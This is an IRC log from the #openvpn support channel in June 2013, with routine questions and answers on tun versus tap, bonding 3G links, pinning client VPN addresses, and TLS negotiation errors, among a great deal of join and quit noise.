11:07 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 264 seconds]
11:09 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
11:14 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
11:17 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 248 seconds]
11:29 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
11:34 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:35 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has quit [Quit: heading home, have a nice weekend]
11:40 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
11:45 -!- emmanuelux [~emmanuelu@87.98.243.112] has joined #openvpn
12:12 -!- dazo is now known as dazo_afk
12:32 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 256 seconds]
12:33 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
12:45 -!- srg [U2FsdGVkX1@unaffiliated/srg] has joined #openvpn
12:46 < srg> Are there any known problems or anything with tunneling ipv6 packets using protocol 41 (6in4 encapsulation) over a tap vpn?
12:58 <@krzee> no
12:59 <@krzee> but you can use ipv6 over openvpn without tap now
12:59 <@krzee> !tunortap
12:59 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
12:59 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
13:00 <@krzee> but to your question, openvpn will not even know what layer3 stuff goes over the layer2 vpn
13:06 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
13:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:35 < pekster> krzee: Hmm, come to think of it proto 41 packets may be weird since even for tap there's a function that looks at the IP protocol version and complains if it's not IPv4 or IPv6
13:35 <@krzee> wait you're saying openvpn tap inspects the layer3 protocol?
13:35 < pekster> (that's where the strange "unknown packet with ip_version=15" error message comes from, but in all the cases I've seen it's a different issue becuase it *is* IPv4 (or6) traffic
13:36 < pekster> Just for the protocol version, but yes
13:36 < pekster> IIRC in tap it won't drop it or anything (since it's forwarding ethernet frames) but I believe that function is called anytime a structure for the passed packet is inspected
13:36 < pekster> In tun it has to drop it since it needs to know the L3 destination
13:39 < pekster> krzee: I'd need to look at the code again, but as I looked at it last time it was something to the effect of "if it's an IP packet, pull out thet header" and then do the 4/6/other test
13:41 < hjohnson> pekster: what if I wan tot run AppleMumble over the VPN?
13:41 < pekster> hjohnson: No clue; what protocol layer does it operate at?
13:42 < hjohnson> pekster: it's its own self-contained protocol stack
13:42 < hjohnson> (was actually pretty elegant and scalable for its time)
13:42 < hjohnson> I'm also being facetious
13:52 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
13:57 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
14:00 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
14:01 -!- ShaunR [~ShaunR@freenode/sponsor/NDChost.com] has joined #openvpn
14:01 -!- ShaunR- [~ShaunR@staff.ndchost.com] has quit [Read error: No buffer space available]
14:39 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
14:51 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
14:51 -!- ShaunR- [~ShaunR@staff.ndchost.com] has joined #openvpn
14:52 -!- ShaunR [~ShaunR@freenode/sponsor/NDChost.com] has quit [Read error: Connection reset by peer]
14:52 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Client Quit]
14:54 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
14:54 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
15:11 -!- sauce [sauce@unaffiliated/sauce] has quit [Quit: sauce]
15:15 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
15:15 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
15:15 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
15:18 -!- dangerarea [~kevin@95.47.118.109] has joined #openvpn
15:20 < dangerarea> hihi
15:23 < EugeneKay> Hola
15:23 < dangerarea> i'm trying to connect 3 VPNs over 3 3G cards to get some resilliance over poor networks but I'm struggling to get openvpn to use a specific interface for each connection
15:24 < dangerarea> i don't know the IPs the 3G cards will give me when they connect but I guess I could do some dodgy routing on bringing up an interface
15:24 < dangerarea> is there a better / easier way?
15:28 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 264 seconds]
15:33 -!- Kalavera [~Kalavera@aquiles.novelix.com.pe] has joined #openvpn
15:37 < pekster> dangerarea: Unless you're attempting to do some weird L2 bonding across tap, you need to use policy routing to keep outbound connections bound to leave the same interface so the remote end you're talking with sees the connections as sourced from the same IP
15:37 < pekster> The policy routing is outside the sscope of OpenVPN, but the LARTC howto covers multiple uplinks for a situation like that under Linux
15:39 < dangerarea> pekster: I am indeed trying to do some bonding in broadcast mode across these 3 interfaces
15:41 < dangerarea> bond -> (3G ppp -> VPN) x3 -> bond
16:02 -!- trumee_ is now known as trumee
16:07 < Kalavera> hey guys I am trying to execute a program that works with DBFs through openvpn but it seems to be abit slow , is there a way to speed it up?
16:16 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 245 seconds]
16:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:23 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
16:25 -!- joshie_ [~josh@75-150-76-129-NewEngland.hfc.comcastbusiness.net] has joined #openvpn
16:25 -!- joshie [~josh@joshie.net] has quit [Ping timeout: 245 seconds]
16:26 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has quit [Quit: No Ping reply in 180 seconds.]
16:29 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
16:31 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:32 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
16:35 -!- patelx2 [~cp@voyager.chirayu.net] has joined #openvpn
17:14 < pekster> dangerarea: Then you don't need/want to keep traffic bound to a particular interface. The entire point of bonding is that each individual packet can take any link as determined by huristics (generally throughput and availability of each link)
17:16 < pekster> Kalavera: dbf? dBase is what google comes up with? OpenVPN doesn't care what traffic you send over it. OpenVPN simply delivers IP packets across tun adapters (or Ethernet packets if you're using tap. Don't use tap unless you need it. See !tunortap if you need convincing)
17:20 -!- patelx2 [~cp@voyager.chirayu.net] has quit [Ping timeout: 252 seconds]
17:20 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
17:20 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
17:22 -!- batrick [batrick@nmap/developer/batrick] has quit [Client Quit]
17:24 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
17:36 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 260 seconds]
18:01 -!- mattock is now known as mattock_afk
18:13 -!- thumbs [~avenger@unaffiliated/thumbs] has joined #openvpn
18:19 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:23 -!- master_o1_master [~master_of@p4FF24345.dip0.t-ipconnect.de] has joined #openvpn
18:27 -!- master_of_master [~master_of@p4FF24F2F.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
18:32 -!- raidz is now known as raidz_away
18:36 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
18:42 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
18:47 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
18:51 -!- Denial [Denial@90.208.15.68] has quit []
19:12 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
19:13 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
19:42 -!- emmanuelux [~emmanuelu@87.98.243.112] has quit [Ping timeout: 276 seconds]
19:48 -!- DrFoo [~DrFoo@c-24-34-23-78.hsd1.ma.comcast.net] has quit [Quit: Leaving]
20:06 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
21:04 -!- patelx2 [~cp@cpe-198-72-221-111.socal.res.rr.com] has joined #openvpn
21:32 -!- patelx2 [~cp@cpe-198-72-221-111.socal.res.rr.com] has quit [Ping timeout: 256 seconds]
21:49 <@krzee> !learn freevpn as http://www.vpnbook.com/ has free openvpn accounts. we can not speak for anything about them, but hey its free
21:49 <@vpnHelper> Joo got it.
22:01 -!- krzee changed the topic of #openvpn to: OpenVPN Community Support Channel || PLEASE read entire topic || OpenVPN RELEASED FOR ANDROID! || Current Release: 2.3.2 (03 Jun 2013) || First time? Use !welcome and !goal || Access-Server? /join #openvpn-as || We're not psychic - please !paste your !configs and !logs and a description of the issue  || Your problem is probably firewall, Really || Not a native English speaker? say so!
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- krzee changed the topic of #openvpn to: OpenVPN Community Support Channel || PLEASE read entire topic || Current Release: 2.3.2 (03 Jun 2013) || First time? Use !welcome and !goal || Access-Server? /join #openvpn-as || We're not psychic - please !paste your !configs and !logs and a description of the issue  || Your problem is probably firewall, Really || Not a native English speaker? say so!
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:02 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
22:05 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
22:15 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
22:20 -!- srg [U2FsdGVkX1@unaffiliated/srg] has left #openvpn [":wq"]
23:37 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
23:39 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 260 seconds]
23:54 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
--- Day changed Sat Jun 08 2013
00:07 -!- thumbs [~avenger@unaffiliated/thumbs] has quit [Quit: Reconnecting]
00:07 -!- thumbs [1000@unaffiliated/thumbs] has joined #openvpn
00:28 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
00:48 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 246 seconds]
00:53 -!- Dat [dat@gotpot.org] has joined #openvpn
01:15 -!- LeLutin [~lelutin@vps-1036922-2706.manage.myhosting.com] has quit [Read error: Operation timed out]
01:21 -!- LeLutin [~lelutin@vps-1036922-2706.manage.myhosting.com] has joined #openvpn
01:35 -!- patelx2 [~cp@cpe-198-72-221-111.socal.res.rr.com] has joined #openvpn
01:56 -!- patelx2 [~cp@cpe-198-72-221-111.socal.res.rr.com] has quit [Ping timeout: 248 seconds]
02:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:42 -!- Parsi [~Maysam@unaffiliated/parsi] has joined #openvpn
02:42 < Parsi> i face this message on server when the client is trying to connect TLS Error: TLS key negotiation failed
02:43 < Parsi> i'm using win2003
02:43 < Parsi> more details https://forums.openvpn.net/topic13106.html
02:43 <@vpnHelper> Title: OpenVPN Support Forum TLS Error: TLS key negotiation failed : Access Server (at forums.openvpn.net)
03:08 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
03:14 -!- APTX [APTX@unaffiliated/aptx] has quit [Remote host closed the connection]
03:14 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
03:18 <@krzee> !as
03:18 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
03:18 <@krzee> Parsi, ^
03:23 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
03:36 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
03:38 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
03:41 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Client Quit]
03:52 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
04:03 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
04:14 -!- Parsi [~Maysam@unaffiliated/parsi] has left #openvpn []
04:17 -!- lmm_ is now known as lmm
05:14 -!- joko [~joko@147.102.37.22] has quit [Ping timeout: 256 seconds]
05:22 -!- joko [~joko@147.102.37.22] has joined #openvpn
05:43 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:55 -!- mattock_afk is now known as mattock
06:17 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
06:23 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
06:25 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 264 seconds]
07:09 -!- AndySZA [~SpookZA@41-133-139-14.dsl.mweb.co.za] has joined #openvpn
07:09 -!- AndySZA [~SpookZA@41-133-139-14.dsl.mweb.co.za] has left #openvpn []
07:29 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 240 seconds]
07:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:36 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
08:00 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:04 < WinstonSmith> good $localtime everyone. is it possible to make sure that a certain client always gets the same address and is only allowed that address? i know about client-config-dir and ipp.txt, but those do not prevent the client to manually change his/her ip
08:06 -!- javacoder [~JAVACODER@96.52.2d.static.xlhost.com] has joined #openvpn
08:08 < WinstonSmith> reason for the question: i admin a gameserver to which clients connect via OVPN. the normal clients are limited via firewall to only access certain (game) ports. but nothing would prevent them atm to change their ip, upon which they would be able to access other services running on that box
08:08 -!- javacoder [~JAVACODER@96.52.2d.static.xlhost.com] has quit [Excess Flood]
08:09 -!- JAVACODER [~JAVACODER@96.52.2d.static.xlhost.com] has joined #openvpn
08:14 -!- mete [~mete@mete.shell.la] has quit [Quit: .]
08:36 < EmLeX> WinstonSmith: how about running 2 openvpn sessions. one for the game clients with one ip range and one for other vpn users
08:36 < EmLeX> and then just block that whole ip range to specific ports
08:37 < EmLeX> idk tho
08:41 < EmLeX> I have never heard about any way to lock a ip down. only how to assign a specific one like ipp
08:42 < Aketzu_> there is --client-config-dir where you can throw in ifconfig-push -configs
08:42 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Quit: ZNC - http://znc.in]
08:42 < Aketzu_> but still doesn't prevent clients from changing their ip addresses
08:43 < EmLeX> Aketzu_: maybe that function aint even coded into ovpn?
08:44 < Aketzu_> with dev tap it likely "cannot be done" but with dev tun it should be possible
08:48 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
08:50 < excalibr> How is that even possible..you game port listens on which iface?
08:50 < Aketzu_> ah... --learn-address... you can make your own script with accepts/rejects client addresses
08:51 < Aketzu_> if you reject address openvpn won't update internal routing tables and then data won't go there
08:58 -!- JAVACODER [~JAVACODER@96.52.2d.static.xlhost.com] has quit [Remote host closed the connection]
09:04 < excalibr> or just drop all packets originating from tun that dont go to the game port
09:04 < excalibr> iptables -A OUTPUT -p udp -o tun+ ! --dport gameport -j DROP
09:05 < Aketzu_> .. and add another openvpn for more privileged clients
09:05 -!- emmanuelux [~emmanuelu@87.98.243.112] has joined #openvpn
09:07 < excalibr> why spawn another ovpn instance when you can assign diff ip range to specific group of users
09:08 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
09:08 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
09:09 < Aketzu_> but they would still use the same tun/tap device?
09:10 < excalibr> hmm i see your point
09:22 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
09:23 < sw0rdfish> hey guys
09:23 < sw0rdfish> is there some new issue for openvpn clients on windows?
09:24 < sw0rdfish> I mean newly reported ones?... because my windows 8 client is timing out I can't use it efficiently anymore
09:30 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
09:35 -!- excalibr is now known as NSA|verified
09:37 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has quit [Quit: ZNC - http://znc.sourceforge.net]
09:39 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 248 seconds]
09:40 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
09:41 -!- i7c [~i7c@80-69-77-233.colo.transip.net] has joined #openvpn
09:41 -!- i7c [~i7c@80-69-77-233.colo.transip.net] has quit [Changing host]
09:41 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
09:42 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
09:42 -!- mode/#openvpn [+v s7r] by ChanServ
09:44 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
09:47 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 276 seconds]
09:48 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
09:51 -!- JAVACODER [~JAVACODER@96.52.2d.static.xlhost.com] has joined #openvpn
09:52 -!- JAVACODER [~JAVACODER@96.52.2d.static.xlhost.com] has quit [Excess Flood]
09:53 -!- JAVACODER [~JAVACODER@2.190.41.130] has joined #openvpn
10:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
10:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
10:17 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:22 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
10:29 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 240 seconds]
10:36 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 240 seconds]
10:42 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
10:42 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
10:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
11:02 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:03 < Cultist> if I'm using openvpn mainly just for accessing samba shares on my local network, would it work well enough in a server run from a vm?
11:08 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Read error: Connection reset by peer]
11:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
11:14 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
11:25 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 256 seconds]
11:26 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
11:30 < hjohnson> Cultist: that's what I do
11:31 < hjohnson> but my vpn demands are pretty minor (the network is slower than snot :P)
11:31 < Cultist> I don't need to do *too* much with it, so I can't imagine it being that big of a problem
11:32 < hjohnson> yeah, should be fine
11:32 < hjohnson> (that esxi host is also doing a bunch of other things)
11:33 < Cultist> also
11:34 <@krzee> Cultist, should be fine, you may like it on a router with dd-wrt or similar
11:34 < Cultist> when running on openvpn and a network configured with static IPs for local hosts, does the client have the IP of the openvpn server or does it retain the IP it would have if it were physically on the network?
11:34 <@krzee> may also like it*
11:34 <@krzee> !route
11:34 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
11:34 <@vpnHelper> the server or client
11:35 <@krzee> the client gets a vpn ip, then you can route that subnet to the lan subnet
11:36 < hjohnson> Cultist: none of the above. :)
11:38 < Cultist> I've never successfully configured an openpvn server before
11:38 < Cultist> hopefully it'll work this time.
11:49 <@krzee> do not worry about routing clients
11:49 <@krzee> just get a vpn up
11:49 <@krzee> then add things you want it to do
11:50 <@krzee> you may love this:
11:50 <@krzee> !book
11:50 <@vpnHelper> "book" is http://www.packtpub.com/openvpn-2-cookbook/book check out JJK's awesome cookbook for openvpn 2!
12:06 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Ping timeout: 245 seconds]
12:07 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn
12:16 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
12:25 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Ping timeout: 256 seconds]
12:26 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn
12:58 -!- hjkl [~hjkl@198.199.119.19] has joined #openvpn
13:01 -!- cloneG [~ivan@43.Red-79-146-254.dynamicIP.rima-tde.net] has joined #openvpn
13:03 < cloneG> hello here is my story: dual boot ubuntu12.04 /widndows7 64 bits both. I installed openvpn on ubuntu12.04. the question is could I use the ubuntu system in my session while a remote user logs in his session simultaneously?
13:04 < cloneG> both would be logged in ubuntu but each one in his own session
13:05 < cloneG> is that possible?
13:10 -!- hjkl [~hjkl@198.199.119.19] has quit [Remote host closed the connection]
13:14 < cloneG> hello?
13:17 -!- Dat [dat@gotpot.org] has left #openvpn []
13:24 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Changing host]
13:24 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
13:30 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: ZNC - http://znc.in]
13:31 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
13:45 -!- cloneG [~ivan@43.Red-79-146-254.dynamicIP.rima-tde.net] has quit [Quit: Saliendo]
13:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:55 -!- mattock is now known as mattock_afk
13:59 < vaillor> ehy guys, why, when my client disconnects itself from the server, when i reconnect, i get another different ip address?
13:59 -!- JackWinter2 [~jack@vodsl-10021.vo.lu] has joined #openvpn
13:59 < vaillor> first connection: 10.8.0.6; second: 10.8.0.10
13:59 < vaillor> and so on...
14:14 -!- JackWinter2 [~jack@vodsl-10021.vo.lu] has quit [Remote host closed the connection]
14:15 -!- JackWinter2 [~jack@vodsl-10021.vo.lu] has joined #openvpn
14:40 <@krzee> =]
14:41 -!- ry4nn [~ry4nn@8.23.136.13] has quit [Remote host closed the connection]
14:51 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Quit: ZNC - http://znc.in]
14:52 -!- JackWinter2 is now known as JackWinter
14:54 -!- JAVACODER [~JAVACODER@2.190.41.130] has quit [Ping timeout: 276 seconds]
14:56 -!- JSharpe_ [~JSharpe@ns237393.ovh.net] has joined #openvpn
14:57 -!- JSharpe [~JSharpe@ns237393.ovh.net] has quit [Read error: Connection reset by peer]
14:57 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Excess Flood]
14:57 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
15:03 -!- dangerar1a [~kevin@95.47.118.109] has joined #openvpn
15:04 -!- xTz_ [xtz@DeathStar.Techn0.eu] has joined #openvpn
15:05 -!- qmr_ [~qmr@50.116.18.140] has joined #openvpn
15:05 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
15:05 -!- frank-- [~avenger@unaffiliated/thumbs] has joined #openvpn
15:05 -!- MacGyver_ [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
15:05 -!- CookieNinja_ [carrot@unaffiliated/tommehm] has joined #openvpn
15:06 -!- Kalavera_ [~Kalavera@aquiles.novelix.com.pe] has joined #openvpn
15:06 -!- dimm0k_ [~dimm0k@pool-108-41-239-206.nycmny.fios.verizon.net] has joined #openvpn
15:07 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-vzvdootlyqwkvexc] has quit [Ping timeout: 246 seconds]
15:07 -!- dangerarea [~kevin@95.47.118.109] has quit [Ping timeout: 246 seconds]
15:07 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 246 seconds]
15:07 -!- NChief [~nchief@unaffiliated/nchief] has quit [Ping timeout: 246 seconds]
15:08 -!- Netsplit *.net <-> *.split quits: Olipro, CookieNinja, pnielsen, ShapeShifter499, Sjors, [fred]
15:08 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Write error: Broken pipe]
15:08 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Write error: Connection reset by peer]
15:08 -!- qmr [~qmr@50.116.18.140] has quit [Write error: Broken pipe]
15:08 -!- Kalavera [~Kalavera@aquiles.novelix.com.pe] has quit [Write error: Broken pipe]
15:08 -!- thumbs [1000@unaffiliated/thumbs] has quit [Write error: Broken pipe]
15:08 -!- master_o1_master [~master_of@p4FF24345.dip0.t-ipconnect.de] has quit [Write error: Broken pipe]
15:08 -!- MorgyN is now known as 13WAAHK0J
15:09 -!- master_of_master [~master_of@p4FF24345.dip0.t-ipconnect.de] has joined #openvpn
15:09 -!- Netsplit over, joins: [fred], Sjors, ShapeShifter499, pnielsen
15:09 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Max SendQ exceeded]
15:09 -!- JSharpe_ [~JSharpe@ns237393.ovh.net] has quit [Excess Flood]
15:09 -!- nutron [~nutron@unaffiliated/nutron] has quit [Excess Flood]
15:09 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Excess Flood]
15:09 -!- 13WAAHK0J [~mig@island.morgyn.org] has quit [Remote host closed the connection]
15:09 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
15:09 -!- JSharpe_ [~JSharpe@ns237393.ovh.net] has joined #openvpn
15:09 -!- MeanderingCode_ [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
15:09 -!- Netsplit over, joins: Olipro
15:10 -!- NChief [~nchief@unaffiliated/nchief] has joined #openvpn
15:12 -!- MeanderingCode_ [~Meanderin@cedarpark.aetherislands.net] has quit [Excess Flood]
15:12 -!- nutron|w [~nutron@24.67.96.21] has joined #openvpn
15:13 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
15:13 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
15:13 -!- lmm [uid6417@gateway/web/irccloud.com/x-jgrfoovohfvyjqgl] has quit [Ping timeout: 240 seconds]
15:18 < EmLeX> what is going on this weekend people :)
15:18 < EmLeX> anything interesting
15:27 -!- cnf [D04rlbxpdZ@unaffiliated/cnf] has quit [Ping timeout: 256 seconds]
15:29 -!- Netsplit *.net <-> *.split quits: Wintereise
15:31 -!- Netsplit over, joins: Wintereise
15:31 -!- ChanServ [ChanServ@services.] has joined #openvpn
15:31 -!- ServerMode/#openvpn [+o ChanServ] by hobana.freenode.net
15:31 < dangerar1a> EmLeX: I was trying to be productive but I've run out of ideas! This'll mean a lazy weekend I think. You?
15:32 -!- ChanServ [ChanServ@services.] has left #openvpn []
15:34 < EmLeX> Oh imm laying here drinking and being lazy a fuck
15:36 -!- cnf [x2kWoPPI2z@unaffiliated/cnf] has joined #openvpn
15:36 < EmLeX> dangerar1a: if you have run out of ideas make me a new crawler
15:36 < EmLeX> mine dosent seem to work really good :D
15:37 -!- dangerar1a is now known as dangerarea
15:39 < dangerarea> hah
15:40 < dangerarea> I've got plenty to do but just keep hitting impasses
15:41 < dangerarea> I'm going to take the drink and be lazy for a bit and see if I get inspired!
15:41 < EmLeX> COol COol
15:41 < EmLeX> but im going afk
15:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:44 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-ncxqvcqtruucjqie] has joined #openvpn
15:58 -!- lbft_ [~lbft@unaffiliated/lbft] has joined #openvpn
15:59 -!- lbft [~lbft@unaffiliated/lbft] has quit [Quit: Bye]
15:59 -!- lbft_ is now known as lbft
16:24 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
16:28 -!- frank-- is now known as thumbs
16:29 < dangerarea> I'll see if anyone else has any ideas...
16:29 < dangerarea> I have a network of 3x 3G cards, some silly bonding of the interfaces each end and data sent over all 3 links for resiliance:
16:30 < dangerarea> bond -> (3G ppp -> VPN) x3 -> bond
